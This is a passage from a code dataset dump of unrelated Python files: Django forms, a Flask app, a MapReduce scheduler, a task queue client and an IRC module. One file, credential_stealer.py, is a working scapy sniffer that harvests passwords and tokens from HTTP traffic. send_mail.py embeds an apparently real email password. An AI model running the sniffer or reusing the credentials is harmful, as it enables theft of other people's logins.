self.cleaned_data.get('recipient')\n if not isinstance(data, (tuple, list)):\n data = [data]\n if set([dd.pk for dd in data]) == set([rr.pk for rr in self.recipients]):\n return data\n raise forms.ValidationError(\"You cannot change the recipient for this message.\")","sub_path":"django_messages/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":4567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"246670253","text":"from logging.handlers import RotatingFileHandler\nfrom flask import Flask, request, jsonify\nfrom time import strftime\n\nimport logging\nimport traceback\n\nlogger = logging.getLogger(__name__)\napp = Flask(__name__)\n\nfrom logstash_async.handler import AsynchronousLogstashHandler\nfrom logstash_async.formatter import FlaskLogstashFormatter\n\nLOGSTASH_HOST = \"172.25.0.4\"\nLOGSTASH_DB_PATH = \"/docker/app/app-data/flask_logstash.db\"\nLOGSTASH_TRANSPORT = \"logstash_async.transport.BeatsTransport\"\nLOGSTASH_PORT = 5044\n\nlogstash_handler = AsynchronousLogstashHandler(\n LOGSTASH_HOST,\n LOGSTASH_PORT,\n database_path=LOGSTASH_DB_PATH,\n transport=LOGSTASH_TRANSPORT,\n)\nlogstash_handler.formatter = FlaskLogstashFormatter(metadata={\"beat\": \"myapp\"})\napp.logger.addHandler(logstash_handler)\n\n@app.route(\"/\")\n@app.route(\"/index\")\ndef get_index():\n \"\"\" Function for / and /index routes. \"\"\"\n return \"Hello! \"\n\n\n@app.route(\"/data\")\ndef get_data():\n \"\"\" Function for /data route. \"\"\"\n data = {\n \"Grupo\":\"Grupo 3\",\n \"Turma\":\"78 AOJ\",\n \"Materia\":\"Microservices\"\n }\n return jsonify(data)\n\n\n@app.route(\"/error\")\ndef get_nothing():\n \"\"\" Route for intentional error. \"\"\"\n return foobar # Intencional Variavel nao existe\n\n\n@app.after_request\ndef after_request(response):\n \"\"\" Logging after every request. \"\"\"\n if response.status_code != 500:\n ts = strftime('[%Y-%b-%d %H:%M]')\n logger.info('%s %s %s %s %s %s',\n ts,\n request.remote_addr,\n request.method,\n request.scheme,\n request.full_path,\n response.status)\n return response\n\n\n@app.errorhandler(Exception)\ndef exceptions(e):\n \"\"\" Logging after every Exception. \"\"\"\n ts = strftime('[%Y-%b-%d %H:%M]')\n tb = traceback.format_exc()\n logger.error('%s %s %s %s %s 5xx INTERNAL SERVER ERROR\\n%s',\n ts,\n request.remote_addr,\n request.method,\n request.scheme,\n request.full_path,\n tb)\n return \"Internal Server Error\", 500\n\nif __name__ == '__main__':\n handler = RotatingFileHandler('app.log', maxBytes=10000, backupCount=3)\n logger = logging.getLogger(__name__)\n logger.setLevel(logging.ERROR)\n logger.addHandler(handler)\n app.run(host=\"127.0.0.1\",port=8080)\n","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"463785345","text":"#!/usr/bin/env python3\nimport smtplib\nimport string\n\nHOST='smtp.163.com'\nSUBJECT='Test email from Python Day3 exec' #主题\nFROM='18298067196@163.com'\nTO='2960183352@qq.com'\n\nText='python alert'\nBody='\\r\\n'.join(\n\t(\n\t\t\"From:%s\"%FROM,\n\t\t\"To:%s\"%TO,\n\t\t\"Subject:%s\"%SUBJECT,\n\t\t\"\",Text\n\t)\n)\n\nserver=smtplib.SMTP(HOST)\nserver.login('18298067196@163.com','lizhixin0521')\nserver.sendmail(FROM,[TO],Body) #收件人可以为多个,用列表表示\nserver.quit()\n","sub_path":"7天实操学会自动化/smtplib/send_mail.py","file_name":"send_mail.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"292849956","text":"import sys\nimport json\nimport socket\nimport time\nimport random\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport requests\nimport threading\nimport copy\nimport trace\n\ndef initConfig():\n\twith open(sys.argv[1]) as f:\n\t\tconf = json.load(f)\n\n\tconfig = conf['workers']\n\t\n\tworker_id_to_index = {}\t\t\t\t\t# dict. { : ,...}\n\tfor i in range(len(config)):\n\t\tworker_id_to_index[config[i]['worker_id']] = i\n\t\t\n\treturn config, worker_id_to_index\n\t\ndef launchTask(w_id, job_id, job_type, task):\n\n\tconfig_lock.acquire()\n\tconfig[w_id]['slots']-=1\t\t\t\t\t# Decrement the number of free slots\n\tconfig_lock.release()\n\t\n\tc = [{'worker_id' : i['worker_id'] , 'slots' : i['slots']} for i in config]\n\tprint(\"STATUS: \", c, \"\\n\\n\")\n\t\n\tif(w_id == 0):\t\t\t\t\t\t\t# Choose socket/port based on Worker\n\t\tconn, addr = taskLaunchSocket1.accept()\n\tif(w_id == 1):\n\t\tconn, addr = taskLaunchSocket2.accept()\n\tif(w_id == 2):\n\t\tconn, addr = taskLaunchSocket3.accept()\n\n\ttask['job_id'] = job_id\t\t\t\t\t# Add job_id and job_type (M or R) to message to be sent\n\ttask['job_type'] = job_type\n\t\n\ttask_logs_lock.acquire()\n\ttask_logs[task['task_id']] = [0, config[w_id]['worker_id']]\t# Add task start time to log\n\ttask_logs_lock.release()\n\tmessage = json.dumps(task)\t\t\t\t\t\t\t# Send task to Worker\n\tconn.send(message.encode())\n\tconn.close()\n\ndef random(job_id, tasks, job_type):\n\n\tfor task in tasks:\n\t\tconfig_lock.acquire()\t\t\t\t\t\t\n\t\tw_id = np.random.randint(0,3)\t\t\t\t\n\t\twhile(config[w_id]['slots']==0):\t\t\t\t# While randomly picked worker has no free slots\n\t\t\tconfig_lock.release()\n\t\t\ttime.sleep(1)\n\t\t\tconfig_lock.acquire()\n\t\t\tw_id = np.random.randint(0,3)\t\t\t\t# Randomly pick another\n\t\t\n\t\tprint(task['task_id'], \" allotted to Worker: \", config[w_id]['worker_id'])\n\t\t\n\t\tconfig_lock.release()\n\t\tlaunchTask(w_id, job_id, job_type, task)\t\t\t# Initiate send task to Worker\n\t\t\n\ndef roundRobin(job_id, tasks, job_type):\n\n\tfor task in tasks:\n\t\tconfig_lock.acquire()\n\t\tconfig2 = copy.deepcopy(config)\n\t\tconfig2.sort(key = lambda x: x['worker_id'])\n\t\t\n\t\tw_id = 0\n\t\twhile(config2[w_id]['slots']==0):\t\t\t\t# While current worker has no free slots\n\t\t\tconfig_lock.release()\n\t\t\ttime.sleep(1)\n\t\t\t\n\t\t\tw_id = (w_id+1)%3\t\t\t\t\t# pick the next\n\t\t\t\n\t\t\tconfig_lock.acquire()\n\t\t\tconfig2 = copy.deepcopy(config)\n\t\t\tconfig2.sort(key = lambda x: x['worker_id'])\n\t\t\t\n\t\tprint(task['task_id'], \" allotted to Worker: \", config[w_id]['worker_id'])\n\t\t\n\t\tconfig_lock.release()\n\n\t\tlaunchTask(w_id, job_id, job_type, task)\n\t\t\ndef leastLoaded(job_id, tasks, job_type):\n\n\tfor task in tasks:\n\t\tconfig_lock.acquire()\n\t\tconfig2 = copy.deepcopy(config)\t\t\t\t\t\n\t\tconfig2.sort(key=lambda x: x['slots'], reverse=True)\t\t# Sort a copy of config based on free slots > desc\n\t\twhile(config2[0]['slots']==0):\t\t\t\t# If no worker has a free slot, wait 1s and try again\n\t\t\tconfig_lock.release()\n\t\t\ttime.sleep(1)\t\t\t\t\t\t# If no slots are free, wait for 1s\n\t\t\tconfig_lock.acquire()\n\t\t\tconfig2 = copy.deepcopy(config)\n\t\t\tconfig2.sort(key=lambda x: x['slots'], reverse=True)\n\t\t\n\t\tw_id = worker_id_to_index[config2[0]['worker_id']]\t\t# w_id = machine with most free slots | Get index\n\t\tprint(task['task_id'], \" allotted to Worker: \", config[w_id]['worker_id'])\n\t\t\n\t\tconfig_lock.release()\n\t\t\n\t\tlaunchTask(w_id, job_id, job_type, task)\t\t\t# Initiate send task to worker\n\n\ndef pickScheduler(job_id, tasks, job_type):\t\t\t\t\t# Calls scheduling algo based on CL arg\n\tif(sys.argv[2] == \"RANDOM\"):\t\t\t\t\t\t\n\t\trandom(job_id, tasks, job_type)\n\telif(sys.argv[2] == \"RR\"):\n\t\troundRobin(job_id, tasks, job_type)\n\telse:\n\t\tleastLoaded(job_id, tasks, job_type)\n\t\t\ndef monitorReduce():\n\tscheduled = []\t\t\t\t\t\t# Keep track of reduce tasks that have already been schd.\n\t\n\tscheduling_pool_lock.acquire()\n\tscheduling_pool_copy = copy.deepcopy(scheduling_pool)\t# Create a copy so size doesn't change during iter\n\tscheduling_pool_lock.release()\n\t\n\twhile(1):\n\t\tif(len(scheduling_pool_copy)>0):\n\t\t\tfor job_id, status in scheduling_pool_copy.items():\n\t\t\t\tif(len(status[1]) == 0 and job_id not in scheduled):\t# If all m_tasks are complete + not already been schd.\n\t\t\t\t\tscheduled.append(job_id)\t\t\t# Add task to list of schd. tasks\n\t\t\t\t\tpickScheduler(job_id, status[0], 'R')\t\t# Pick scheduling algo based on CL arg\n\n\t\ttime.sleep(1)\t\n\t\t\n\t\tscheduling_pool_lock.acquire()\n\t\tscheduling_pool_copy = copy.deepcopy(scheduling_pool)\n\t\tscheduling_pool_lock.release()\t\n\t\n# Thread 1 addresses Job Requests\ndef addressRequests():\n\tglobal job_count\n\tglobal start_time\n\tflag = 0\n\twhile(1):\n\t\ttry:\n\t\t\tconn, addr = jRSocket.accept()\n\t\texcept:\n\t\t\tbreak\n\t\tr = conn.recv(1024)\t\t\t\t\t\t# Read job request\n\t\treq = \"\"\n\t\twhile r:\t\t\t\t\t\t\t# If len(req) > 1024b\n\t\t\treq += r.decode()\n\t\t\tr = conn.recv(1024)\n\t\trequest = json.loads(req)\t\n\t\tif(flag == 0):\n\t\t\tstart_time = time.time()\n\t\t\tflag = 1\t\t\t\t\n\t\tconn.close()\n\t\t\n\t\tjob_count_lock.acquire()\n\t\tjob_count += 1\n\t\tjob_count_lock.release()\n\t\t\n\t\tjob_logs_lock.acquire()\n\t\tjob_logs[request['job_id']] = time.time()\t\t\t# Record job start time\n\t\tjob_logs_lock.release()\n\t\t\n\t\tscheduling_pool_lock.acquire()\t\t\t\t# Add job to scheduling_pool\n\t\tscheduling_pool[request['job_id']] = [request['reduce_tasks'], [i['task_id'] for i in request['map_tasks']]]\n\t\tscheduling_pool_lock.release()\n\t\t\n\t\tpickScheduler(request['job_id'], request['map_tasks'], 'M')\t# Schedule m_tasks based on algo\n\tprint(\"\\n...\")\n\ndef updateSlots():\n\tglobal job_count\n\twhile(1):\n\t\ttry:\n\t\t\tconn,addr = jUSocket.accept()\n\t\texcept:\n\t\t\tbreak\n\t\tu = conn.recv(1024).decode()\t\t\t\t\t\t\t# Read task completion info\n\t\tupdate = \"\"\n\t\twhile(len(u)!=0):\n\t\t\tupdate += u\n\t\t\tu = conn.recv(1024).decode()\n\t\tupdate = json.loads(update)\n\t\t\n\t\ttask_logs_lock.acquire()\n\t\ttask_logs[update['task_id']][0] = update['end_time'] - update['start_time'] \t# Record end time and add to task log\n\t\ttask_logs[update['task_id']].append([update['start_time'] - start_time, update['end_time'] - start_time])\n\t\ttask_logs_lock.release()\n\n\t\tw_id = worker_id_to_index[update['w_id']]\t\t\t\t# Convert the worker_id to index into config\n\t\t\n\t\tconfig_lock.acquire()\n\t\tconfig[w_id]['slots']+=1\t\t\t\t\t\t# Increment free slots on resp. worker\n\t\tconfig_lock.release()\n\n\t\t\n\t\tprint(update['task_id'], \" completed by Worker: \", config[w_id]['worker_id'])\n\t\tc = [{'worker_id' : i['worker_id'] , 'slots' : i['slots']} for i in config]\n\t\tprint(\"STATUS: \", c, \"\\n\\n\")\n\t\n\t\t\n\t\tif(update['job_type'] == 'M'):\t\t\t\t\t\t# If it was a map task\n\t\t\t\n\t\t\tscheduling_pool_lock.acquire()\n\t\t\tscheduling_pool[update['job_id']][1].remove(update['task_id'])\t# Remove from resp job's m_task list\n\t\t\tscheduling_pool_lock.release()\n\t\t\t\n\t\telse:\t\t\t\t\t\t\t\t\t\t# If it was a reduce task\n\t\t\tfor task in scheduling_pool[update['job_id']][0]:\n\t\t\t\tif task['task_id'] == update['task_id']:\n\t\t\t\t\t\n\t\t\t\t\tscheduling_pool_lock.acquire()\n\t\t\t\t\tscheduling_pool[update['job_id']][0].remove(task)\t# Remove from resp job's r_task list\n\t\t\t\t\tscheduling_pool_lock.release()\n\t\t\t\t\tbreak\n\t\t\t\t\t\n\t\t\tif(len(scheduling_pool[update['job_id']][0]) == 0):\t\t\t# If no more r_tasks in resp job\n\t\t\t\t\t\t\t\t\t\t\t\t# Job completed\n\t\t\t\tprint(\"\\n\", \"=\" * 105, \"\\n\")\n\t\t\t\tprint(\"\\t\\t\\t\\t *************** COMPLETED JOB \", update['job_id'], \"***************\")\n\t\t\t\tprint(\"\\n\", \"=\" * 105, \"\\n\")\n\t\t\t\t\n\t\t\t\tjob_logs_lock.acquire()\n\t\t\t\tjob_logs[update['job_id']] = update['end_time'] - job_logs[update['job_id']]\t# Update duration of job\n\t\t\t\tjob_logs_lock.release()\n\t\t\t\t\n\t\t\t\tscheduling_pool_lock.acquire()\n\t\t\t\tscheduling_pool.pop(update['job_id'])\t\t\t\t# Remove job from scheduling_pool\n\t\t\t\tscheduling_pool_lock.release()\n\t\t\t\t\n\t\t\t\tjob_count_lock.acquire()\n\t\t\t\tjob_count -= 1\n\t\t\t\tjob_count_lock.release()\n\t\t\t\t\n\t\tconn.close()\n\tprint(\"\\n...\")\n\n# Initialize Configuration.\nconfig, worker_id_to_index = initConfig()\nconfig_lock = threading.Lock()\nprint(\"=\"*105, \"\\n\")\nprint(\"\\t\"*5, \"MASTER INITIALIZED\")\nprint(\"\\t\"*4, \" WORKERS CAN BE INITIATED\\n\")\nprint(\"=\"*105, \"\\n\")\n\t\t\nprint(\"INITIAL STATUS: \", config, \"\\n\")\n\n\n# Initialize Sockets\n# 5000 - Listen to Job requests\n# 5001 - Listen to Job updates\n# config[i][2] - Launch Tasks on Worker i\n\njRSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\njRSocket.settimeout(60.0)\njRSocket.bind((\"localhost\", 5000))\njRSocket.listen(1)\n\njUSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\njUSocket.settimeout(100.0)\njUSocket.bind((\"localhost\", 5001))\njUSocket.listen(3)\n\n\ntaskLaunchSocket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ntaskLaunchSocket1.bind((\"localhost\", config[0]['port']))\ntaskLaunchSocket1.listen(1)\n\ntaskLaunchSocket2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ntaskLaunchSocket2.bind((\"localhost\", config[1]['port']))\ntaskLaunchSocket2.listen(1)\n\ntaskLaunchSocket3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ntaskLaunchSocket3.bind((\"localhost\", config[2]['port']))\ntaskLaunchSocket3.listen(1)\n\n\n# Initialize time logs\njob_logs = {}\t\t\t# : time\njob_logs_lock = threading.Lock()\ntask_logs = {}\t\t\t# : [time, worker]\ntask_logs_lock = threading.Lock()\n\njob_count = 0\njob_count_lock = threading.Lock()\n\nstart_time = 0\n\n# Initialize shared data structure.\n# Keeps record of job requests yet to complete exec\n# Used to track map task completion. \n#\tRemoves task from task list on completion.\n#\tIf len(map_tasks) == 0, launch reduce tasks.\n\nscheduling_pool = {}\t\t\t\t# {job_id : [ [r_tasks {dict of id and dur}],[m_tasks {list of task ids] ],...}\nscheduling_pool_lock = threading.Lock()\n\nt1 = threading.Thread(target = addressRequests, name = \"Thread1\")\t# Listens to Job Requests and schedules\nt2 = threading.Thread(target = updateSlots, name = \"Thread2\")\t# Listens to updates on Task Completion\nt3 = threading.Thread(target = monitorReduce, name = \"Thread3\", daemon = True)\t# Checks for completion m_tasks to launch r_tasks\n\nt1.start()\nt2.start()\nt3.start()\n\nt1.join()\nt2.join()\nt3.killed = True\t\t\t\t\t\t\t# Kill t3 so that it doesn't keep running in the bg\n\t\t\t\t\t\t\t\t\t# Main thread executes this only once t1&t2 have terminated. => All jobs complete.\n\n\njRSocket.close()\njUSocket.close()\ntaskLaunchSocket1.close()\ntaskLaunchSocket2.close()\ntaskLaunchSocket3.close()\n\n\nprint(\"\\n\", \"=\" * 105, \"\\n\")\nprint(\"\\nTASK LOGS:\\n\", task_logs)\nprint(\"\\nJOB LOGS:\\n\", job_logs)\nprint(\"\\n\", \"=\" * 105, \"\\n\")\nprint(\"\\n\\n\", \"#\"*105)\nprint(\"<\" * 49, \" EXIT \", \">\" * 49)\nprint(\"#\" * 105, \"\\n\")\n\nif(sys.argv[2] == 'RANDOM'):\n\tfileName = \"logs_random.txt\"\nelif(sys.argv[2] == 'RR'):\n\tfileName = \"logs_roundRobin.txt\"\nelse:\n\tfileName = \"logs_leastLoaded.txt\"\n\t\nfp = open(fileName, 'w')\nfp.write(json.dumps(task_logs))\nfp.write('\\n')\nfp.write(json.dumps(job_logs))\nfp.close()\n","sub_path":"code/master.py","file_name":"master.py","file_ext":"py","file_size_in_byte":10468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"562714469","text":"import logging\nfrom contextlib import contextmanager\nimport multiprocessing\nfrom multiprocessing.managers import RemoteError\nimport time\n\nfrom taskqueue import get_ServerManager\nfrom taskqueue import tqdaemon\n\nlog = logging.getLogger(__name__)\n\nENSURE_DAEMON = False\n\n\ndef ensure_daemon():\n \"\"\"Check to see if daemon is running, attempt to start it if not.\n\n Timing reported this at ~50 us if the daemon was already running;\n shouldn't be bad to keep in main path. If the daemon wasn't\n running waiting for it to start is a good thing.\n\n \"\"\"\n if not tqdaemon.status():\n log.info(\"Attempting to start missing tqdaemon.\")\n p = multiprocessing.Process(target=tqdaemon.daemonize)\n p.start()\n p.join(1)\n time.sleep(0.1)\n\n\ndef get_server():\n if ENSURE_DAEMON:\n ensure_daemon()\n\n manager = get_ServerManager()\n manager.connect()\n return manager.Server()\n\n\n@contextmanager\ndef server_call():\n \"\"\"Connect to the server and return that object.\n\n Does a new connection every time. This ensure that if the daemon\n was restarted it still works and that we don't build up any stale\n data. Connection is ~40ms so not too bad.\n \"\"\"\n try:\n s = get_server()\n except:\n log.exception(\"Error connecting to server\")\n raise\n try:\n yield s\n except RemoteError:\n log.exception(\"Error in remote process\")\n raise\n\n\ndef ready(tid):\n \"\"\"Check to see if the task with the given id is finished\n executing yet.\n \"\"\"\n with server_call() as server:\n return server.ready(tid)\n\n\ndef log_output(tid, position=0):\n \"Get the log of the process starting at given position.\"\n with server_call() as server:\n return server.log_output(tid, position)\n\n\ndef log_tail(tid, line_count=1):\n with server_call() as server:\n return server.log_tail(tid, line_count)\n\n\ndef enqueue(fn, tid=None, after=None):\n \"\"\"Enqueue the function in the task queue and return an identifier\n that can be used to check status or get the result later.\n \"\"\"\n with server_call() as server:\n return server.enqueue(fn, tid=tid, after=after)\n\n\ndef result(tid):\n \"\"\"Get the result of the task with the given ID. NB: If the task\n isn't finished this will raise a timeout exception.\n \"\"\"\n with server_call() as server:\n return server.result(tid)\n\n\ndef get_task(tid):\n \"Get a async_result proxy reference to the task\"\n with server_call() as server:\n return server.get_task(tid)\n\n\ndef perform(fn):\n \"Do the given task synchronously in the separate daemon process.\"\n return get_task(enqueue(fn)).get()\n\n\n# def after(tid, fn, additional_args=None, kwargs=None):\n# \"enqueue new task that will wait on this task and then call the fn\"\n# return enqueue(_after, [tid, fn, additional_args, kwargs])\n\n\n# def _after(tid, fn, additional_args=None, kwargs=None):\n# \"helper function for after\"\n# task = get_task(tid)\n# task_result = task.get()\n# if additional_args is None:\n# additional_args = []\n# if kwargs is None:\n# kwargs = {}\n# return fn(task_result, *additional_args, **kwargs)\n","sub_path":"taskqueue/taskqueue/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"36140297","text":"def is_vowel(letter):\n vowels = ['a','e','i','o','u']\n for vowel in vowels:\n if letter == vowel:\n return True\n return False\n\nsource = \"source\"\n\ntranslation = source.split(' ')\n\nfor word in translation:\n if is_vowel(word[0]):\n word = word + \"way\"\n print(word)\n else:\n word = word[1:len(word)] + word[0] + \"ay\"\n print(word)\n","sub_path":"oink.py","file_name":"oink.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"566978497","text":"#-*-coding:utf-8-*-\nimport sqlite3\nimport decoder\nimport weibo_bot\nimport codecs\nif __name__ == '__main__':\n grouptree=decoder.GroupFinder()\n grouptree.LoadTree()\n grouptree.StartCountGroup()\n word_dict_root=decoder.LoadDefaultWordDic()\n\n dbcon=sqlite3.connect('/app_data/chinese_decode/mama_weibolist.sqlite')\n dbc=dbcon.cursor()\n dbc.execute('select word from weibo_text')\n for txt, in dbc:\n txt=weibo_bot.RemoveWeiboRubbish(txt)\n if len(txt)==0:\n continue\n spliter=decoder.LineSpliter(word_dict_root)\n spliter.SplitLine(txt)\n spliter.AfterProcess()\n words=spliter.found_word\n grouptree.ProcessOneLine(words)\n #grouptree.EndCountGroup()\n itemlist=grouptree.group_count.items()\n itemlist.sort(lambda a,b:-cmp(a[1],b[1]))\n outf=codecs.open('data/mama_groupcount.txt','w','utf8')\n for i in xrange(len(itemlist)):\n print >>outf,itemlist[i][0],itemlist[i][1]\n outf.close()","sub_path":"count_mama_weibo_wordgroup.py","file_name":"count_mama_weibo_wordgroup.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"114128280","text":"\"\"\".. Ignore pydocstyle D400.\n\n================================\nKnowledge Base App Configuration\n================================\n\n\"\"\"\nfrom django.apps import AppConfig\n\n\nclass KnowledgeBaseConfig(AppConfig):\n \"\"\"App configuration.\"\"\"\n\n name = 'resolwe_bio.kb'\n label = 'resolwe_bio_kb'\n verbose_name = 'Resolwe Bioinformatics Knowledge Base'\n\n def ready(self):\n \"\"\"Perform application initialization.\"\"\"\n from haystack import connections\n\n for connection in connections.all():\n if connection.__class__.__name__ == 'ElasticsearchSearchEngine':\n # Modify elastic search schema. The default mapping for edge_ngram is incorrect\n # as it also uses the edgengram_analyzer during querying.\n from haystack.backends.elasticsearch_backend import FIELD_MAPPINGS\n FIELD_MAPPINGS['edge_ngram'] = {\n 'type': 'string',\n 'analyzer': 'edgengram_analyzer',\n 'search_analyzer': 'standard',\n }\n break\n","sub_path":"resolwe_bio/kb/apps.py","file_name":"apps.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"208541901","text":"from twisted.plugin import IPlugin\nfrom txircd.module_interface import IModuleData, ModuleData\nfrom zope.interface import implements\nimport random, string\n\nclass Batch(ModuleData):\n\timplements(IPlugin, IModuleData)\n\t\n\tname = \"Batch\"\n\t\n\tdef actions(self):\n\t\treturn [ (\"startbatchsend\", 10, self.startBatch),\n\t\t (\"modifyoutgoingmessage\", 10, self.addBatchTag),\n\t\t (\"endbatchsend\", 10, self.endBatch),\n\t\t (\"capabilitylist\", 10, self.addCapability) ]\n\t\n\tdef load(self):\n\t\tif \"unloading-batch\" in self.ircd.dataCache:\n\t\t\tdel self.ircd.dataCache[\"unloading-batch\"]\n\t\t\treturn\n\t\tif \"cap-add\" in self.ircd.functionCache:\n\t\t\tself.ircd.functionCache[\"cap-add\"](\"batch\")\n\t\n\tdef unload(self):\n\t\tself.ircd.dataCache[\"unloading-batch\"] = True\n\t\n\tdef fullUnload(self):\n\t\tdel self.ircd.dataCache[\"unloading-batch\"]\n\t\tif \"cap-del\" in self.ircd.functionCache:\n\t\t\tself.ircd.functionCache[\"cap-del\"](\"batch\")\n\t\n\tdef addCapability(self, user, capList):\n\t\tcapList.append(\"batch\")\n\t\n\tdef startBatch(self, user, batchName, batchType, batchParameters):\n\t\tif \"capabilities\" not in user.cache or \"batch\" not in user.cache[\"capabilities\"]:\n\t\t\treturn\n\t\tuniqueReferenceTagParts = [ random.choice(string.ascii_letters) ]\n\t\tfor i in range(2, 10):\n\t\t\tuniqueReferenceTagParts.append(random.choice(string.ascii_letters + string.digits))\n\t\tuniqueReferenceTag = \"\".join(uniqueReferenceTagParts)\n\t\tuser.cache[\"currentBatch\"] = uniqueReferenceTag\n\t\tuser.sendMessage(\"BATCH\", \"+{}\".format(uniqueReferenceTag), batchType, *batchParameters)\n\t\n\tdef addBatchTag(self, user, command, args, kw):\n\t\tif \"currentBatch\" in user.cache:\n\t\t\tif \"tags\" in kw:\n\t\t\t\tkw[\"tags\"][\"batch\"] = user.cache[\"currentBatch\"]\n\t\t\telse:\n\t\t\t\tkw[\"tags\"] = { \"batch\": user.cache[\"currentBatch\"] }\n\t\n\tdef endBatch(self, user, batchName, batchType, batchParameters):\n\t\tif \"currentBatch\" not in user.cache:\n\t\t\treturn\n\t\tuniqueReferenceTag = user.cache[\"currentBatch\"]\n\t\tdel user.cache[\"currentBatch\"]\n\t\tuser.sendMessage(\"BATCH\", \"-{}\".format(uniqueReferenceTag))\n\nbatch = Batch()","sub_path":"txircd/modules/ircv3/batch.py","file_name":"batch.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"453283771","text":"numlist = []\n\nfor i in range(0, 5):\n number = int(input(f'Informe o {i+1}º valor: '))\n\n if i == 0 or number > numlist[-1]:\n numlist.append(number)\n print('Valor adicionado no final da lista...')\n\n else:\n pos = 0\n while pos < len(numlist):\n\n if number <= numlist[pos]:\n numlist.insert(pos, number)\n print(f'Valor adicionado na posição {pos} da lista...')\n break\n\n pos += 1\n\nprint('=' * 60)\nprint(f'Os valores digitados em ordem foram {numlist}')\n","sub_path":"8_listas/lista-ordenada-sem-repeticao.py","file_name":"lista-ordenada-sem-repeticao.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"511285715","text":"#!/usr/bin/env python3\nfrom scapy.layers.inet import TCP\nfrom scapy.layers.l2 import Ether\nfrom scapy.sendrecv import sniff\nimport os\nimport sys\n\nnbPackets=0\n\nWordsInteresting=[\"user\",\"username\",\"login\",\"password\",\"pass\",\"mdp\",\"access\",\"authorization\",\"token\"]\n\nclass HttpPacket:\n def __init__(self, macdest, macori, header):\n self.ori = macori\n self.dst = macdest\n tab = filter(None, header.split(\"\\\\r\\\\n\"))\n body = False\n self.headers = []\n self.body = []\n for h in tab:\n if body:\n self.body.append(h)\n else:\n self.headers.append(h)\n if str(h).startswith('Content-Length'):\n body = True\n\n def __repr__(self):\n return \"Http \" + self.ori + \" => \" + self.dst + \" { \" + self.headers.__str__() + \" }, {\" + self.body.__str__() + \"}\"\n\n def __str__(self):\n return \"Http \" + self.ori + \" => \" + self.dst + \" { \" + self.headers.__str__() + \" }, {\" + self.body.__str__() + \"}\"\n\ndef isCredentials(text):\n global WordsInteresting\n for word in WordsInteresting:\n if word.lower() in text.lower():\n return True\n return False\n\ndef pkt_count(pkt):\n global nbPackets\n print(\"\\rNombre de paquets Http : \"+str(nbPackets),end=\"\")\n nbPackets+=1\n\ndef show(interesting):\n elmt=\"\".join(interesting)\n if (type(elmt) != bytes):\n print(\"\\x1b[92m\\nDATA : \\x1b[90m : \\x1b[91m\"+elmt+\"\\x1b[90m\\n\")\n \n\ndef packet_callbak(pkt):\n pkt_count(pkt)\n if TCP in pkt:\n http = HttpPacket(pkt[0][Ether].dst, pkt[0][Ether].src, str(pkt[0][TCP].payload))\n data = None\n for header in http.headers:\n if (isCredentials(header)):\n data=header\n show(header)\n for body in http.body:\n if (isCredentials(body)):\n data=header\n show(body)\n if data is not None:\n print(\"\".join(http.headers[0]))\n\n\ndef main():\n global WordsInteresting\n if os.getuid()==0:\n if (len(sys.argv)==1):\n sniff(iface=\"wlo1\", filter='tcp', prn=packet_callbak)\n else:\n WordsInteresting=sys.argv\n WordsInteresting.pop(0) \n sniff(iface=\"wlo1\", filter='tcp', prn=packet_callbak)\n else:\n print(\"Please use it as root or use sudo\")\n\nif __name__ == '__main__':\n main()\n","sub_path":"scenarios/credential_stealer.py","file_name":"credential_stealer.py","file_ext":"py","file_size_in_byte":2274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"2370751","text":"import pandas as pd\nfrom jinja2 import Environment, PackageLoader, select_autoescape, TemplateNotFound\n\n\nmaturity = {\n \"0\": \"Level 0 - Operator Candidate\",\n \"1\": \"Level 1 - Basic Install\",\n \"2\": \"Level 2 - Seamless Upgrades\",\n \"3\": \"Level 3 - Full Lifecycle\",\n \"4\": \"Level 4 - Deep Insights\",\n \"5\": \"Level 5 - Auto Pilot\"\n}\n\n\ndef main():\n env = Environment(\n loader=PackageLoader(\"maturity_levels\"),\n autoescape=select_autoescape()\n )\n\n df = pd.read_csv(\"maturity_levels/components.csv\")\n for index, row in df.iterrows():\n # service = row['Component'].lower().replace(\" \", \"_\").replace(\"/\", \"_\")\n service = row['Component']\n filename = service + \".adoc\"\n template = service + \".j2\"\n\n try:\n t = env.get_template(template)\n print(filename)\n with open(\"modules/maturity_levels/pages/operators/\" + filename, \"w\") as f:\n f.write(t.render(row.to_dict()))\n except TemplateNotFound:\n print(\"No template \" + template + \" found.\")\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"build_maturity_level_docs.py","file_name":"build_maturity_level_docs.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"400544828","text":"import datetime\n\n# Уровни финансовых структур\nFINLVL_LIST = 